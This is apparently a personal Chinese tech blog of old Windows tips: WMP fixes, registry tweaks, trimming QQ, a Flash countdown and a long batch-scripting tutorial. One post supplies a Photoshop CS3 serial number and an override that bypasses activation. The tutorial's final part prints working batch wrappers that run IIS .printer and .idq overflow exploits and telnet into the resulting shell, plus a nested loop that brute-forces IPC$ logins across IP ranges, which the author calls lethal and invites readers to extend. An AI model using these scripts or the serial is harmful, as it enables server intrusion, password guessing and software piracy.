| 海丰's profile一个人看海BlogListsGuestbook | Help |
|
|
December 31 修复WMP11好不容易装上了wmp11,可是偏偏打不开,其实只要两步就可以修复它了,也适用于出现内部错误的问题 WMP10也能用此方法 第一步:点开始--运行--输入 regsvr32 jscript.dll -- 确定; 第二步:点开始--运行--输入 regsvr32 vbscript.dll -- 确定; 这时打开你的WMP,是不是可以打开了,如果还是打不开,重启一下电脑,应该就可以了。 December 27 QQ游戏大厅的端口号QQ服务器分为三类: 联众游戏的端口号1、联众游戏的端口号(TCP): May 02 Photoshop CS3 内置序列号的方法Photoshop CS3 内置序列号的方法:首先把下列内容复制到记事本并保存(文件名为application.xml.override),然后将其复制到Photoshop CS3安装源的payloads\AdobePhotoshop10en_US_volume目录下即可。这样,安装时就可以达到免激活,免序列号的效果了。
application.xml.override内容如下: <?xml version="1.0" encoding="utf-8"?> <Configuration> <Payload> <Data key="Serial" protected="0">133014611449214159332876</Data> <Data key="Registration">Suppress</Data> </Payload> </Configuration>
另外Photoshop CS3在安装时,所有附带组件都是默认安装的,如果想改为可选的话,只需如下操作即可: 用记事本打开payloads\AdobePhotoshop10en_US_volume目录下的AdobePhotoshop10en_US_volume.proxy.xml,将其中<Requires></Requires>之间的内容删除即可。这样在安装时,所有附带组件就处于可选状态了。 October 30 更换硬盘图标将下面的文字复制到记事本,另存为ico.reg Windows Registry Editor Version 5.00 恢复驱动器图标的方法: Windows Registry Editor Version 5.00 [-HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\DriveIcons] 另存扩展名是reg的注册表文件即可。
September 13 在 Windows Media Player 的打开文件对话框中添加更多的媒体文件类型Windows Media Player 是微软自家提供的媒体播放器,默认情况下已经能支持十多种媒体文件格式。当我们在 Windows Media Player 中打开“打开文件”对话框时,在“文件类型”中可以看到不少文件格式。但是,Windows Media Player 支持的媒体文件类型还不是最丰富的,和 KMPlayer 等播放器相比,还是略逊一筹。因此我们经常会安装一些第三方软件厂商提供的解码器,令 Windows Media Player 可以支持更多的媒体文件类型。例如,Windows Media Player 默认是不支持 .RM、.RMVB 格式文件的,只要在 Windows Media Player 中安装了 RealPlay 的解码器,Windows Media Player 就可以打开 .RM、.RMVB 格式的文件了。 可是,这些自己手动添加的媒体文件类型,虽然可以用 Windows Media Player 打开了,但是在“打开文件”对话框的“文件类型”中,还是看不到相应的文件类型,每次打开文件还必须选择“所有文件”才可以,这未免显得不方便。能不能把自己添加的媒体文件类型(例如 .RM、.RMVB)添加到“文件类型”列表中呢?当然可以。 打开注册表编辑器,定位到:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MediaPlayer\Player\Extensions\Types,在这里已经存在了很多以自然数 1、2、3、4... 命名的字符串,它们的值便是已经出现在“文件类型”列表中的媒体文件格式,例如 .WMA、.MP3、.MIDI 等。我们可以按照序列号的顺序,自己建立一个字符串值(例如现有的序号排列到 9,建立一个名为 10 的字符串值即可),并把字符串值定义为我们自己添加的媒体文件的扩展名。在这里我们输入 *.RM;*.RMVB,中间用分号隔开。 接下来再转到:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MediaPlayer\Player\Extensions\MUIDescriptions,根据前面建立的序号名,在这里也建立一个同样序号的字符串值,例如 10,然后把这个字符串值定义为:@C:\WINDOWS\INF\UNREGMP2.EXE,-9922。其中最后的这个 -9922 可以修改为其它值,每一个值代表一种媒体文件的中文说明,例如“电影文件”、“音频文件”、“视频文件”等,我们可以根据 MUIDescriptions 中现有的字符串值,判断每个代码具体代表什么含义,选择一个和我们自己建立的媒体文件最接近的说明就可以了。在这里我们选择了 -9922,代表“媒体播放列表”这个中文说明。 全部修改完毕后,关闭注册表编辑器,重新打开 Windows Media Player 并打开“打开文件”对话框,这时可以看到,“文件类型”列表中已经多出了一项“媒体文件列表 *.RM; *.RMVB”,只要选中了它,就可以在 Windows Media Player 中直接选择 .RM 和 .RMVB 格式的媒体文件打开播放了。 June 14 解决导入windows favorites 乱码的问题最近msn spaces做了小幅更新,中国的用户可以使用 Windows Live Favorites模块,在使用过程中,发现从自己电脑里导出的收藏夹导入favorites时,变成了乱码,这是编码问题不兼容所致(在电脑里导出的编码是简体中文,导入时是UTF-8),解决办法,用记事本打开这个bookmark.htm,另存为,这时在另存为对话框的下部编码选择UTF-8,保存即可!然后重新导入到 Windows Live Favorites,乱码消失,在导入的时候,还要记住把导入的内容设成共享,这样才能在msn spaces里被看到! June 06 FLASH制作倒计时牌2005年11月11日,将于2008年8月8日晚8时在北京开幕的第二十九届奥运会在筹办过程中迎来了倒计时1000天的重要历史时刻,北京奥组委和社会各界举办了奥运会吉祥物发布暨倒计时1000天活动,迎接了这个特殊日子。这提醒着我们,2008北京奥运会开幕的时刻正朝我们快步地走来。为了记住这一时刻,特意用Flash实现了北京奥运的倒计时。具体步骤如下: 1.启动Flash,新建元件,命名为“倒计时”,行为中选择“影片剪辑”,确定后进入元件编辑窗口。 2.点击文本工具,在属性中选择“静态文本”,划出一个文本框,设置好文本框的参数,输入内容“现在离2008北京奥运开幕还有”。 3.点击文本工具,在属性中选择“动态文本”,划出一个文本框,设置好文本框的参数,变量设置为“DaoJiShiText”。 4.命名所在层为“倒计时”,在时间轴的第一帧上输入以下代码: EndTime=new Date(2008,7,8,20,0,0); //定义倒计时结束时间,此处为2008北京奥运开幕日 //注意,月份参数用0-11表示1-12月 NowTime=new Date(); //定义当前时间 zong=Math.floor((EndTime.getTime()-NowTime.getTime())/1000); //取得当前时间与结束时间相差的总秒数 if(zong>0) { tian=Math.floor(zong/(60*60*24)); //取得剩余天数 zong=zong-tian*60*60*24; shi=Math.floor(zong/(60*60)); //取得剩余小时数 zong=zong-shi*60*60; fen=Math.floor(zong/60); //取得剩余分钟数 zong=zong-fen*60; miao=zong; //取得剩余秒数 DaoJiShiText=String(tian)+"天"+String(shi)+"时"+String(fen)+"分"+String(miao)+"秒"; } 5.在时间轴的第12帧处插入关键帧,输入语句“gotoAndPlay(1);”。 6.返回主场景,把倒计时影片剪辑拖放至主场景中,测试运行,效果如图所示。 说明:以上代码以北京2008奥运会开幕为倒计时结束时间,首先计算出当前时间与结束时间相隔的总秒数,再分别转换成对应的天数、小时数、分钟数和秒数。由于Flash默认的帧频是12,代码中在第12帧处使用了“gotoAndPlay(1);”语句,用于安排倒计时代码每隔一秒运行一次,使得所显示的倒计时信息每隔一秒刷新一次。 March 05 把QQ大卸八块现在的QQ功能越来越强,软件也越来越大,启动运行个QQ就要等上一会,如果有些电脑的配置比较低那就更惨了?下面笔者将对QQ进行手术,删除那些可有可无的附加功能,打造一个简捷的QQ。 一、禁用QQ功能,节约占用内存 1、禁用QQ面板功能 在QQ2004主界面的左侧有“音乐中心”、“内容资讯面板”、“企业好友面板”、“手机娱乐面板”以及“互动空间”等面板,如果觉得这些功能没有多大用处,那么可以在QQ的安装文件夹中删除相关的控件达到节约系统资源的目的: ContentTab.dll 用户自定义面板功能 QQNetDisk.dll 网络硬盘 BQQApplication.dll 企业好友面板 OEMApplication.dl l手机娱乐面板、内容资讯面板以及音乐中心 GroupConnection.dll 互动空间 小提示:文件太多,可以使用搜索功能来查找。 2、去掉QQ广告 QQ广告是存放在“QQ→Dat”文件夹下,笔者推荐大家使用“腾讯QQ/TM珊瑚虫外挂”,使用方法是将该文件解压到QQ的安装目录,然后运行“CQQCfg.exe”启动外挂,根据提示设置好相关参数即可,以后只需运行“CoralQQ.exe”就能无忧聊天了。 二、禁用其它功能 1、删除多余的皮肤 QQ皮肤很占系统资源,如果想让QQ的穿着朴实无华,那么我们在QQ面板中依次点击“菜单→更换皮肤→标准界面”,将QQ的皮肤设置为“标准界面”,这样将节约不少被QQ占用的系统资源。 采用默认皮肤界面后就可以删除多余的皮肤,这些皮肤是存放在QQ目录的“NewSkins”文件夹中,我们将“NewSkins”整个文件夹删除即可。 2、删除QQ场景 删除“QQ/IMScene/Scene”文件夹下的所有场景文件即可,注意在设置QQ场景时要取消“接受场景邀请”请面的选中标识,这样将不接受别人发送的场景。 3、删除声音文件 在QQ文件夹中删除QRingFiles文件夹下的所有声音文件,同时再删除整个Sound文件夹,这样也达到了给QQ减肥的目的。 通过以上对QQ的瘦身后,我们将发现QQ占用系统资源降低很多,这有效的解决了因系统资源不足而不能运行其它大型程序的难题!在瘦身比较流行的今天,赶快也给你的QQ进行一下瘦身吧! February 27 在CMD方式下发送邮件下载地址:http://www.febooti.com/downloads/fmail13.exe 使用方式:在CMD下打入如下命令 febootimail.exe -FROM soft@it168.com -TO ruanzheng@sohu.com -SUBJECT "hello" -TEXT hello -SMTP smtp.sohu.com -USER soft -PASS 123456 -AUTH LOGIN 注释: -SUBJECT 后面的主题要加引号 -attach 后面添加附件 February 25 批处理命令详解最近好多猜测弱口令的病毒在网上流行,比如前段时间闹得很厉害的Worm.Dvldr 蠕虫就是一个典型。这些病毒有个共同点就是利用批处理来进行ipc$连接,从而来猜测管理员的口令达到控制服务器的目的。病毒由几个文件和几个复杂的批处理组成。批处理算不上真正意义上的编程,但是它的一些思想和编程比较近似。通过在网上和一些初学的朋友交流,发现他们对于批处理很感兴趣,多多少少了解一些命令的用法,但缺乏比较系统的了解,所以特意写下这篇教程,好让感兴趣的朋友对批处理有个整体的认识,并能通过该教程举一反三,写出自己的批处理。 该教程一共分为4大部分,第一部分是批处理的专用命令,第二部分是特殊的符号与批处理,第三部分是批处理与变量,第四部分是完整案例。因为教程比较长,所有在杂志上我们将分为两次连载,本期首先刊登一、二两部分,敬请读者注意。 第一部分:批处理的专用命令 批处理文件是将一系列命令按一定的顺序集合为一个可执行的文本文件,其扩展名为BAT。这些命令统称批处理命令,下面我就来给大家介绍一下批处理的命令。 1、 REM REM 是个注释命令一般是用来给程序加上注解的,该命令后的内容在程序执行的时候将不会被显示和执行。例: REM 你现在看到的就是注解,这一句将不会被执行。在以后的例子中解释的内容都REM 会放在REM后面。请大家注意。 2、 ECHO ECHO 是一个回显命令主要参数有OFF和 ON,一般用ECHO message来显示一个特定的消息 。例: Echo off Rem 以上代表关闭回显即不显示所执行的命令 Echo 这个就是消息。 Rem 以上代表显示“这就是消息”这列字符 执行结果: C:\>ECHO.BAT 这个就是消息。 3、 GOTO GOTO 即为跳转的意思。在批处理中允许以“:XXX”来构建一个标号然后用GOTO :标号直接来执行标号后的命令。例 :LABEL REM 上面就是名为LABEL的标号。 DIR C:\ DIR D:\ GOTO LABEL REM 以上程序跳转标号LABEL处继续执行。 4、CALL CALL 命令可以在批处理执行过程中调用另一个批处理,当另一个批处理执行完后再继续执行原来的批处理。例: 批处理2.BAT内容如下: ECHO 这就是2的内容 批处理1.BAT内容如下: ECHO 这是1的内容 CALL 2.BAT ECHO 1和2的内容全部显示完成 执行结果如下: C:\>1.BAT 这是1的内容 这就是2的内容 1和2的内容全部显示完成 5、PAUSE PAUSE 停止系统命令的执行并显示下面的内容。例: C:\> PAUSE 请按任意键继续 . . . 6、 IF IF 条件判断语句,语法格式如下: IF [NOT] ERRORLEVEL number command IF [NOT] string1==string2 command IF [NOT] EXIST filename command 说明: [NOT] 将返回的结果取反值即“如果没有”的意思。 ERRORLEVEL 是命令执行完成后返回的退出值 Number 退出值的数字取值范围0~255。判断时值的排列顺序应该又大到小。返回的值大于或等于指定的值时条件成立。 string1==string2 string1和string2都为字符的数据,英文字符的大小写将看做不同,这个条件中的等于号必须是2个(绝对相等),条件想等后即执行后面的 command EXIST filename 为文件或目录存在的意思。 IF ERRORLEVEL这条语句必须放在某一个命令后面。执行命令后由IF ERRORLEVEL来判断命令的返回值。 例: 1、 IF [NOT] ERRORLEVEL number command 检测命令执行完后的返回值做出判断。 echo off dir z: rem 如果退出代码为1(不成功)就跳至标题1处执行 IF ERRORLEVEL 1 goto 1 rem 如果退出代码为0(成功)就跳至标题0处执行 IF ERRORLEVEL 0 goto 0 :0 echo 命令执行成功! Rem 程序执行完毕跳至标题exit处退出 goto exit :1 echo 命令执行失败! Rem 程序执行完毕跳至标题exit处退出 goto exit :exit Rem 这里是程序的出口 2、 IF string1==string2 command 检测当前变量的值做出判断 ECHO OFF IF %1==2 goto no Echo 变量相等! Goto exit :no echo 变量不相等 goto exit :exit 大家可以这样看效果 C:\>test.bat 数字 3、 IF [NOT] EXIST filename command 发现特定的文件做出判断 echo off IF not EXIST autoexec.bat goto 1 echo 文件存在成功! goto exit :1 echo 文件不存在失败! goto exit :exit 这个批处理大家可以放在c盘和d盘分别执行看看效果。 7、 FOR FOR这个命令比较特殊是一个循环执行命令的命令,同时FOR的循环里面还可以套用FOR在进行循环。这篇我们介绍基本的用法就不做套用的循环了,后面再来讲解套用的循环。在批处理中FOR的命令如下: FOR [%%c] IN (set) DO [command] [arguments] 在命令行中命令如下: FOR [%c] IN (set) DO [command] [arguments] 常用参数: /L 该集表示以增量形式从开始到结束的一个数字序列。因此,(1,1,5) 将产生序列 1 2 3 4 5,(5,-1,1) 将产生序列 (5 4 3 2 1)。 /D 如果集中包含通配符,则指定与目录名匹配,而不与文件名匹配。 /F 从指定的文件中读取数据作为变量 eol=c - 指一个行注释字符的结尾(就一个) skip=n - 指在文件开始时忽略的行数。 delims=xxx - 指分隔符集。这个替换了空格和跳格键的默认分隔符集。 tokens=x,y,m-n - 指每行的哪一个符号被传递到每个迭代的 for 本身。这会导致额外变量名称的分配。m-n格式为一个范围。通过 nth 符号指定 mth。如果符号字符串中的最后一个字符星号,那么额外的变量将在最后一个符号解析之后分配并接受行的保留文本。 usebackq - 指定新语法已在下类情况中使用:在作为命令执行一个后引号的字符串并且一个单引号字符为文字字符串命令并允许在 filenameset中使用双引号扩起文件名称。 下面来看一个例子: FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do @echo %i %j %k 会分析 myfile.txt 中的每一行,忽略以分号打头的那些行,将每行中的第二个和第三个符号传递给 for 程序体;用逗号和/或空格定界符号。请注意,这个 for 程序体的语句引用 %i 来取得第二个符号,引用 %j 来取得第三个符号,引用 %k来取得第三个符号后的所有剩余符号。对于带有空格的文件名,您需要用双引号将文件名括起来。为了用这种方式来使用双引号,您还需要使用 usebackq 选项,否则,双引号会被理解成是用作定义某个要分析的字符串的。 %i 专门在 for 语句中得到说明,%j 和 %k 是通过tokens= 选项专门得到说明的。您可以通过 tokens= 一行指定最多 26 个符号,只要不试图说明一个高于字母 'z' 或'Z' 的变量。请记住,FOR 变量名分大小写,是通用的;而且,同时不能有 52 个以上都在使用中。 您还可以在相邻字符串上使用 FOR /F 分析逻辑;方法是,用单引号将括号之间的 filenameset 括起来。这样,该字符串会被当作一个文件中的一个单一输入行。最后,您可以用 FOR /F 命令来分析命令的输出。方法是,将括号之间的 filenameset 变成一个反括字符串。该字符串会被当作命令行,传递到一个子 CMD.EXE,其输出会被抓进内存,并被当作文件分析。因此,以下例子: FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i 会枚举当前环境中的环境变量名称。 以下列举一个简单的例子,他将说明参数/L和没有参数的区别: 删除文件1.TXT 2.TXT 3.TXT 4.TXT 5.TXT 例: ECHO OFF FOR /L %%F IN (1,1,5) DO DEL %%F.TXT 或 FOR %%F IN (1,2,3,4,5) DO DEL %%F.TXT 以上2条命令执行的结果都是一样的如下: C:\>DEL 1.TXT C:\>DEL 2.TXT C:\>DEL 3.TXT C:\>DEL 4.TXT C:\>DEL 5.TXT 8、 SETLOCAL 开始批处理文件中环境改动的本地化操作。在执行 SETLOCAL 之后 所做的环境改动只限于批处理文件。要还原原先的设置,必须执 行 ENDLOCAL。 达到批处理文件结尾时,对于该批处理文件的每个 尚未执行的 SETLOCAL 命令,都会有一个隐含的 ENDLOCAL 被 执行。例: @ECHO OFF SET PATH /*察看环境变量PATH PAUSE SETLOCAL SET PATH=E:\TOOLS /*重新设置环境变量PATH SET PATH PAUSE ENDLOCAL SET PATH 从上例我们可以看到环境变量PATH第1次被显示得时候是系统默认路径。被设置成了E:\TOOLS后显示为E:\TOOLS但当ENDLOCAL后我们可以看到他又被还原成了系统的默认路径。但这个设置只在该批处理运行的时候有作用。当批处理运行完成后环境变量PATH将会还原。 9、 SHIFT SHIFT命令可以让在命令上的的命令使用超过10个(%0~%9)以上的可替代参数例: ECHO OFF ECHO %1 %2 %3 %4 %5 %6 %7 %8 %9 SHIFT ECHO %1 %2 %3 %4 %5 %6 %7 %8 %9 SHIFT ECHO %1 %2 %3 %4 %5 %6 %7 %8 %9 执行结果如下: C::\>SHIFT.BAT 1 2 3 4 5 6 7 8 9 10 11 1 2 3 4 5 6 7 8 9 2 3 4 5 6 7 8 9 10 3 4 5 6 7 8 9 10 11 以上就是基于WIN2000下的9个批处理命令。 第二部分:特殊的符号与批处理 在命令行下有些符号是不允许使用的但有些符号却有着特殊的意义。 1、 符号(@) @在批处理中的意思是关闭当前行的回显。我们从上面知道用命令echo off可以关掉整个批处理的命令回显但却不能不显示echo off这个命令。现在我们在这个命令前加上@这样echo off这一命令就被@关闭了回显从而达到所有命令均不回显得要求 2、 符号(>) >的意思是传递并覆盖。他所起的作用是将运行后的回显结果传递到后面的范围(后面可是文件也可是默认的系统控制台)例: 文件1.txt的文件内容为: 1+1 使用命令c:\>dir *.txt >1.txt 这时候1.txt的内容如下 驱动器 C 中的卷没有标签。 卷的序列号是 301A-1508 C:\ 的目录 2003-03-11 14:04 1,005 FRUNLOG.TXT 2003-04-04 16:38 18,598,494 log.txt 2003-04-04 17:02 5 1.txt 2003-03-12 11:43 0 aierrorlog.txt 2003-03-30 00:35 30,571 202.108.txt 5 个文件 18,630,070 字节 0 个目录 1,191,542,784 可用字节 >将命令执行的结果覆盖了原始的文件内容。 在传递给控制台的时候程序将不会有任何回显(注意:这里的回显跟echo off关掉的回显不是同一概念。Echo off关掉的是输入命令的回显,这里的回显是程序执行中或后的回显)例: C:\>dir *.txt >nul 程序将没有任何显示也不会产生任何痕迹。 3、 符号(>>) 符号>>的作用与符号>相似,但他们的区别在于>>是传递并在文件末尾追加>>也可将回显传递给控制台(用法同上)例: 文件1.txt内同为: 1+1 使用命令c:\>dir *.txt >>1.txt 这时候1.txt的内容如下 1+1 驱动器 C 中的卷没有标签。 卷的序列号是 301A-1508 C:\ 的目录 2003-03-11 14:04 1,005 FRUNLOG.TXT 2003-04-04 16:38 18,598,494 log.txt 2003-04-04 17:02 5 1.txt 2003-03-12 11:43 0 aierrorlog.txt 2003-03-30 00:35 30,571 202.108.txt 5 个文件 18,630,070 字节 0 个目录 1,191,542,784 可用字节 >>将命令执行的结果覆加在了原始的文件内容后面。 4、 符号(|) |是一个管道传输命令意思是将上一命令执行的结果传递给下一命令去处理。例: C:\>dir c:\|find "1508" 卷的序列号是 301A-1508 以上命令的意思为查找c:\的所有并发现1508字符串。Find的用法请用 find /?自行查看 在不使用format的自动格式化参数的时候我是这样来自动格式化盘片的 echo y|fornat a: /s /q /v:system 用过format命令的人都知道format有一个交互对化过程,要使用者输入y来确定当前的命令是否被执行。在这个命令前加上echo y并用管道传输符|将echo执行的结果y传递给format从而达到手工输入y的目的(这条命令有危害性,测试的时候请谨慎) 5、 符号(^) ^ 是对特殊符号 > 、<、 &、的前导字符。在命令中他将以上的3个符号的特殊动能去掉仅仅只吧他们当成符号而不使用他们的特殊意义。例: c:\>echo test ^> 1.txt test > 1.txt 从上面可以看出并没有把test写入文件1.txt而是将test >1.txt 当字符串显示了出来。这个符号在远程构建批处理的时候很有效果。 6、 符号(&) &符号允许在一行中使用2个以上不同的命令,当第一个命令执行失败将不影响第2个命令的执行。例: c:\> dir z:\ &dir y:\ &dir c:\ 以上的命令将会连续显示z: y: c:盘内的内容不理会该盘符是否存在。 7、 符号(&&) &&符号也是允许在一行中使用2个以上不同的命令,当第一个命令执行失败后后续的命令将不会再被执行。例: c:\> dir z:\ &&dir y:\ &&dir c:\ 以上的命令将会提示检查是否存在z:盘如果存在则执行,如果不存在则停止执行所有的后续命令 8、 符号(" ") " "符号允许在字符串中包含空格。进入一个特殊的目录可以用如下方法例: c:\>cd “Program Files” c:\>cd progra~1 c:\>cd pro* 以上方法都可以进入Program Files目录 9、 符号(,) ,符号相当于空格。在某些特殊的情况下可以用,来代替空格使用。例: c:\>dir,c:\ 10、 符号(;) ;符号当命令相同的时候可以将不同的目标用;隔离开来但执行效果不变。如执行过程中发生错误则只返回错误报告但程序还是会继续执行。例: DIR C:\;D:\;E:\F:\ 以上的命令相当于 DIR C:\ DIR D:\ DIR E:\ DIR F:\ 当然还有些特殊的符号但他们的使用范围很小我就不再这里一一的说明了。 第三部分:批处理与变量 在批处理中适当的引用变量将会使你所编制的程序应用面更广。批处理每次能处理的变量从%0~%9共10个。其中%0默认给批处理的文件名使用。除非在使用SHIFT命令后%0才能被%1所替代。引用shift命令的例子如果把%1前面多加上一个%0那么结果如下: C::\>SHIFT.BAT 1 2 3 4 5 6 7 8 9 10 11 SHIFT.BAT 1 2 3 4 5 6 7 8 9 1 2 3 4 5 6 7 8 9 10 2 3 4 5 6 7 8 9 10 11 系统是如何区分每个变量的呢,系统区分变量的规则为字符串中间的空格,即只要发现空格就把空格前面的字符当作一个变量而空格后面的字符则作为另一个变量。如果你的变量是一个当中包含空格的长目录名这时候你需要用上一节特殊符号8中所用的引号将他圈起来。例: 批处理内容为: ECHO %1 ECHO %2 ECHO %3 输入命令: C:\>TEST “Program Files” Program Files Program Files Program Files 在一个复杂的批处理中又可能同时使用的变量会超过10个这时候会和系统的规则想冲突那么这个问题怎么解决呢?在系统中还有一种变量称之为环境变量(使用SET命令可以查看当前系统的环境变量)如当前系统目录是%windir%或%SystemRoot%等。当同时使用的参数超过10个的时候,我们可以把某些在后面的程序中还要调用的变量保存为环境变量。具体用法如 SET A=%1 这样我们就命名了一个新的环境变量A 在调用变量A的时候要%A%这样调用,环境变量不受SHIFT命令影响。如果要改变一个环境变量需要重新对其设置才能改变。当然也可以进行变量与变量之间的传递来达到目的。下面我们来看一个例子,批处理如下: ECHO OFF SET PASS=%1 SHIFT SET PASS1=%1 SHIFT ECHO %PASS% %PASS1% %1 %2 %3 %4 %5 %6 %7 %8 %9 SHIFT ECHO %PASS% %PASS1% %9 SET PASS=%PASS1% 变量的传递 SET PASS1=%9 SHIFT ECHO %PASS% %PASS1% %9 使用命令:C:\>TEST A B 3 4 5 6 7 8 9 10 K L A B 3 4 5 6 7 8 9 10 K 注意:这一行显示了11个变量 A B L 在使用了3次SHIFT之后%9变成了L B L 变量的传递后的结果 第四部分:完整案例 以上就是批处理的一些用法。现在我们把这些用法结合起来详细的分析一下目前网上发布的一些批处理,看看他们是怎么运作的。这里我将列举三个例子来详细分析,为了保持程序的完整我的注释会加在/*后面。 例一 这个例子是利用iis5hack.exe对有.printer漏洞的主机进行溢出的批处理。用到的程序有iis5hack.exe和系统自带的telnet.exe。iis5hack的命令格式为: iis5hack <目标ip> <目标端口> <目标版本> <溢出连接端口>目标版本为0-9这10个数字分别对应不同语言版本和sp的系统版本,我们编制的批处理使用的命令格式为 开始版本号可有可无。程序如下。 @echo off /*关闭命令回显 if "%1%"=="" goto help /*判断%1是否为空,%1为目标ip if "%2%"=="1" goto 1 /*判断%2是否为1,为1则跳转标志1 if "%2%"=="2" goto 2 /*%2为开始版本号,如果没有设置则 if "%2%"=="3" goto 3 /*如果存在则从匹配的地方开始执行 if "%2%"=="4" goto 4 if "%2%"=="5" goto 5 if "%2%"=="6" goto 6 if "%2%"=="7" goto 7 if "%2%"=="8" goto 8 if not EXIST iis5hack.exe goto file /*没有发现iis5hack.exe就执行标志file段内容 ping %1 -n 1 | find "Received = 1" /*ping目标1次,从结果中发现Received = 1 if errorlevel 1 goto error /*如果返回代码为1则执行error段(代码1为没有发现 0为发现并成功执行) iis5hack %1 80 9 88 | find "good" /*开始溢出目标端口80 系统代码9 溢出后连接端口88 在执行结果中发现字符串”good”(溢出成功后才会有字符串good) if not errorlevel 1 goto telnet /*如果没有错误代码1(溢出成功)就执行telnet段的内容。 echo 操作系统类型 9 失败! /否则显示这一句 :8 /*以下代码内容参照上面 iis5hack %1 80 8 88 | find "good" if not errorlevel 1 goto telnet echo 操作系统类型 8 失败! :7 iis5hack %1 80 7 88 | find "good" if not errorlevel 1 goto telnet echo 操作系统类型 7 失败! :6 iis5hack %1 80 6 88 | find "good" if not errorlevel 1 goto telnet echo 操作系统类型 6 失败! :5 iis5hack %1 80 5 88 | find "good" if not errorlevel 1 goto telnet echo 操作系统类型 5 失败! :4 iis5hack %1 80 4 88 | find "good" if not errorlevel 1 goto telnet echo 操作系统类型 4 失败! :3 iis5hack %1 80 3 88 | find "good" if not errorlevel 1 goto telnet echo 操作系统类型 3 失败! :2 iis5hack %1 80 2 88 | find "good" if not errorlevel 1 goto telnet echo 操作系统类型 2 失败! :1 iis5hack %1 80 1 88 | find "good" if not errorlevel 1 goto telnet echo 操作系统类型 1 失败! :0 iis5hack %1 80 0 88 | find "good" if not errorlevel 1 goto telnet echo 操作系统类型 0 失败! goto error :telnet telnet %1 88 /*开始连接目标ip的88端口 goto exit /*连接中断后跳转exit段 :error /*error段显示错误后的帮助信息 echo 可能网络不能连接或者对方以修补该漏洞!请按照下面的格式手工尝试一次! echo iis5hack [目标IP] [WEB端口] [系统类型] [开放端口] ECHO 中文: 0 ECHO 中文+sp1: 1 ECHO 英文: 2 ECHO 英文+sp1: 3 ECHO 日语: 4 ECHO 日语+sp1: 5 ECHO 韩文: 6 ECHO 韩文+sp1: 7 ECHO 墨西哥语: 8 ECHO 墨西哥语+sp1: 9 goto exit /*跳转exit段 :file /*file段显示文件没有发现的信息 echo 文件iis5hack.exe没有发现!程序终止运行! goto exit /*跳转exit段 :help /*help段显示本批处理的使用格式帮助 echo 本程序用法如下: echo iis [目标ip] echo iis [目标ip] [开始的号码9-0] :exit /*exit段为程序出口 这个批处理基本没有什么循环只是一路走下来。所以代码比较长难度不大! 例二 这个例子是用iisidq.exe对有idq漏洞的机器进行溢出的批处理。使用的程序有iisidq.exe和系统自带的程序telnet.exe。iisidq.exe的用法如下: 运行参数: 操作系统类型 目的地址 web端口 1 溢出监听端口 <输入命令1> 其中,如果输入命令参数没有输入,那么,默认为:"cmd.exe"。 其中操作系统类型类型的代码范围是0-14。我们编制的批处理使用的命令格式为 程序如下: @echo off /*同例一 if not EXIST iisidq.exe goto file /*同例一 if %1 == "" goto error /*同例一 ping %1 -n 1 | find "Received = 1" /*同例一 if errorlevel 1 goto error1 /*同例一 set b=%1 /*创建一个环境变量b,将变量%1的内容传递给环境变量b。变量b的内容以后将是目标ip set a=0 /*创建一个环境变量a并指定环境变量a为0。由于使用整个批处理的循环所以用a来做计数器。 :no /*no段开始 if %a%==0 set d=0 /*如果环境变量a=0则创建环境变量d设定环境变量d=0。 if %a%==1 set d=1 /*环境变量d其实是操作系统类型代码,用计数器来控制其 if %a%==2 set d=2 /*变动。 if %a%==3 set d=3 if %a%==4 set d=4 if %a%==5 set d=5 if %a%==6 set d=6 if %a%==7 set d=7 if %a%==9 set d=9 if %a%==10 set d=13 if %a%==11 set d=14 goto 0 /*变量传递完成后转到标志0处运行 :1 echo 正在执行第%d%项!与目标%b%不能连接!正在尝试连接请等候...... :0 /*标志0开始 IISIDQ %d% %b% 80 1 99 |find "good" /*按格式发送溢出命令并在结果中发现字符串good(发送代码成功才会有字符串good) if errorlevel 1 goto 1 /*如果没有good字符串则没有发送成跳 /*转标志1处继续尝试发送 ping 127.0.0.1 -n 8 >nul /*ping自己8次相当于延时8秒不显示执 /*行结果 echo 正在执行第%d%项! /*报告正在溢出的操作系统类型 telnet %b% 99 /*连接溢出端口 echo. /*显示一个空行 if %d%==14 goto error1 /*如果操作系统类型为14则跳转error1处(循环出口) if %d%==13 set a=11 /*开始用计数器对操作系统代码重新附值 if %d%==9 set a=10 if %d%==7 set a=9 if %d%==6 set a=7 if %d%==5 set a=6 if %d%==4 set a=5 if %d%==3 set a=4 if %d%==2 set a=3 if %d%==1 set a=2 if %d%==0 set a=1 goto no /*附值完成跳转no段执行 :file /*以下都是出错后的帮助提示 echo IIsidq.exe没有发现!将该文件和本文件放在同一目录! goto exit :error echo 错误!目标ip不可识别!请使用下面的格式连接! echo idq [目标IP] goto exit :error1 echo 连接没有成功!可能目标机器已经修补了该漏洞或者网络故障所至! echo 请按照下面的格式手工尝试! echo iisidq [目标类型] [目标IP] [目标端口] [连接方式] [溢出端口] echo telnet [目标ip] [溢出端口] :exit /*整个程序的出口 这个批处理采用的整体循环掌握好计数器部分就掌握了这个批处理。 例三 for /l %%a in (0,1,255) do for /l %%b in (0,1,255) do for /l %%c in (1,1,254) do for /f "tokens=1,2*" %%e in (userpass.txt) do net use \\%1.%%a.%%b.%%c\ipc$ %%e /u:%%f 上面的命令为1条命令。大家可以看出该命令使用了4个FOR来套用的。用法为:C:\>TEST.BAT 218 当输入218回车后该命令会由第1个for取初始值0为%%a然后继续取第2个for的初始值0为%%b继续取第3个for的初始值1为%%c最后一个for是将userpass.txt中的第一段字符作为密码%%e第二段字符作为用户名%%f最后执行命令 (这里我把上面的值都带进去,设密码为123 用户名为 abc) net usr \\218.0.0.1\ipc$ 123 /u:abc 当然上面这个例子可能有些朋友会说太简单并且太死板不灵活。我把这个例子做了些修改(完整文件见光盘ipc.bat)由兴趣的朋友可以自己看看。修改后的程序可以灵活的查找你指定开始到结束或你指定开始到最大ip的范围。当然功能还可以在加强,至于能加强到什么地步能不能成为一个新的工具那就是你的事了。 这个的循环动作大了点主要是ip的数字替换麻烦所以没办法。这个批处理我就不写注释了,大家好好的参考上面的内容你会很快看懂这个批处理的。看懂了得不要说简单哦!最起码这是个没有使用任何第三方工具就能探测并保存弱口令的批处理了!!简单的改一改杀伤力还是很大的。以上这些批处理全部在win2000和xp下测试通过最大的优点就是只有一个批处理文件并且绝对不会误报。缺点就是太长! 后记: 